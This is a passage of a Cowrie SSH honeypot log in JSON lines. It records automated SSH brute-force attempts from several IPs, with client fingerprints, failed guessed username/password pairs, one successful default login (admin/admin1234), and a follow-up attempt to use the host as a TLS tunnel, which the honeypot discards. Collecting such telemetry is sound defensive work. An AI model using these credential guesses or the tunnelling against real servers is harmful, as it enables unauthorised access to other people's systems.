ert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:29.724222Z","src_ip":"91.92.40.36","session":"9fc1572babdc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shreya","password":"shreya","message":"login attempt [shreya/shreya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:31.234601Z","src_ip":"91.92.40.36","session":"c5ee8b87508f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"donald","password":"donald","message":"login attempt [donald/donald] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:32.536655Z","src_ip":"91.92.40.36","session":"9fc1572babdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.7","message":"Connection lost after 10.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:33.963273Z","src_ip":"91.92.40.36","session":"c5ee8b87508f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:34.520952Z","src_ip":"91.92.40.36","session":"9fc1572babdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":64832,"dst_ip":"159.203.135.109","dst_port":22,"session":"589fd0f4db61","protocol":"ssh","message":"New connection: 91.92.40.36:64832 (159.203.135.109:22) [session: 589fd0f4db61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:35.874689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:36.722050Z","src_ip":"91.92.40.36","session":"589fd0f4db61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:36.727744Z","src_ip":"91.92.40.36","session":"589fd0f4db61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"upload12","message":"login attempt [ubuntu/upload12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:40.094722Z","src_ip":"91.92.40.36","session":"589fd0f4db61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:42.004367Z","src_ip":"91.92.40.36","session":"589fd0f4db61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":57204,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb68040a73cf","protocol":"ssh","message":"New connection: 51.250.105.222:57204 (159.203.135.109:22) [session: bb68040a73cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:43.169406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:43.173516Z","src_ip":"51.250.105.222","session":"bb68040a73cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:43.302846Z","src_ip":"51.250.105.222","session":"bb68040a73cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":64890,"dst_ip":"159.203.135.109","dst_port":22,"session":"13e9bc7373f5","protocol":"ssh","message":"New connection: 91.92.40.36:64890 (159.203.135.109:22) [session: 13e9bc7373f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:43.320652Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:43.691297Z","src_ip":"51.250.105.222","session":"bb68040a73cf","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:44.557862Z","src_ip":"91.92.40.36","session":"13e9bc7373f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:44.564317Z","src_ip":"91.92.40.36","session":"13e9bc7373f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:44.823991Z","src_ip":"51.250.105.222","session":"bb68040a73cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dell","password":"dell@1234","message":"login attempt [dell/dell@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:49.485180Z","src_ip":"91.92.40.36","session":"13e9bc7373f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:51.055781Z","src_ip":"91.92.40.36","session":"13e9bc7373f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":63718,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae0439e212a9","protocol":"ssh","message":"New connection: 123.27.168.40:63718 (10.17.0.5:22) [session: ae0439e212a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:51.865389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:51.868851Z","src_ip":"123.27.168.40","session":"ae0439e212a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:52.112583Z","src_ip":"123.27.168.40","session":"ae0439e212a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":59072,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8461f7a9152","protocol":"ssh","message":"New connection: 91.92.40.36:59072 (159.203.135.109:22) [session: e8461f7a9152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:52.274368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:53.132513Z","src_ip":"91.92.40.36","session":"e8461f7a9152","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:53.135640Z","src_ip":"91.92.40.36","session":"e8461f7a9152","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:53.189593Z","src_ip":"123.27.168.40","session":"ae0439e212a9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:56.010426Z","session":"ae0439e212a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"pa$$w0rd1","message":"login attempt [ubuntu/pa$$w0rd1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:56.058249Z","src_ip":"91.92.40.36","session":"e8461f7a9152","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:56.258917Z","src_ip":"123.27.168.40","session":"ae0439e212a9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\n\\x97tr\\xc7\\xd7\\xf1R\\x1fj\\xf3F\\xff\\xc7\\xaf0\\xbe\\x94BD\\x0fx\\xc3S\\xfcx>\\xd9\\x8a\\x9d\\x81\\xa8 \\x11\\xb8f\\x90\\x1fO=\\xa5\\x94\\xeb\\xe2\\xda\\xc8\\x13\\xd0\\xc6\\xd4\\xef&\\x80\\xafd]\\n\\xcc\\xdc\\x1b#\\xb5\\xb9c\\xcf\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\xfd\\\\\\xc5TL\\x19\\\\y\\xb4\\x0e0\\r\\xe8B\\xe5\\xa7)\\\\\\x08\\x02\\xfb\\xb8\\n\\x1c\\x81?o\\x93U\\x1cJz\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":0,"message":"discarded direct-tcp forward request 0 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\n\\x97tr\\xc7\\xd7\\xf1R\\x1fj\\xf3F\\xff\\xc7\\xaf0\\xbe\\x94BD\\x0fx\\xc3S\\xfcx>\\xd9\\x8a\\x9d\\x81\\xa8 \\x11\\xb8f\\x90\\x1fO=\\xa5\\x94\\xeb\\xe2\\xda\\xc8\\x13\\xd0\\xc6\\xd4\\xef&\\x80\\xafd]\\n\\xcc\\xdc\\x1b#\\xb5\\xb9c\\xcf\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\xfd\\\\\\xc5TL\\x19\\\\y\\xb4\\x0e0\\r\\xe8B\\xe5\\xa7)\\\\\\x08\\x02\\xfb\\xb8\\n\\x1c\\x81?o\\x93U\\x1cJz\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:56.262093Z","src_ip":"123.27.168.40","session":"ae0439e212a9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:56.506792Z","session":"ae0439e212a9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:56.756627Z","src_ip":"123.27.168.40","session":"ae0439e212a9","protocol":"ssh"}
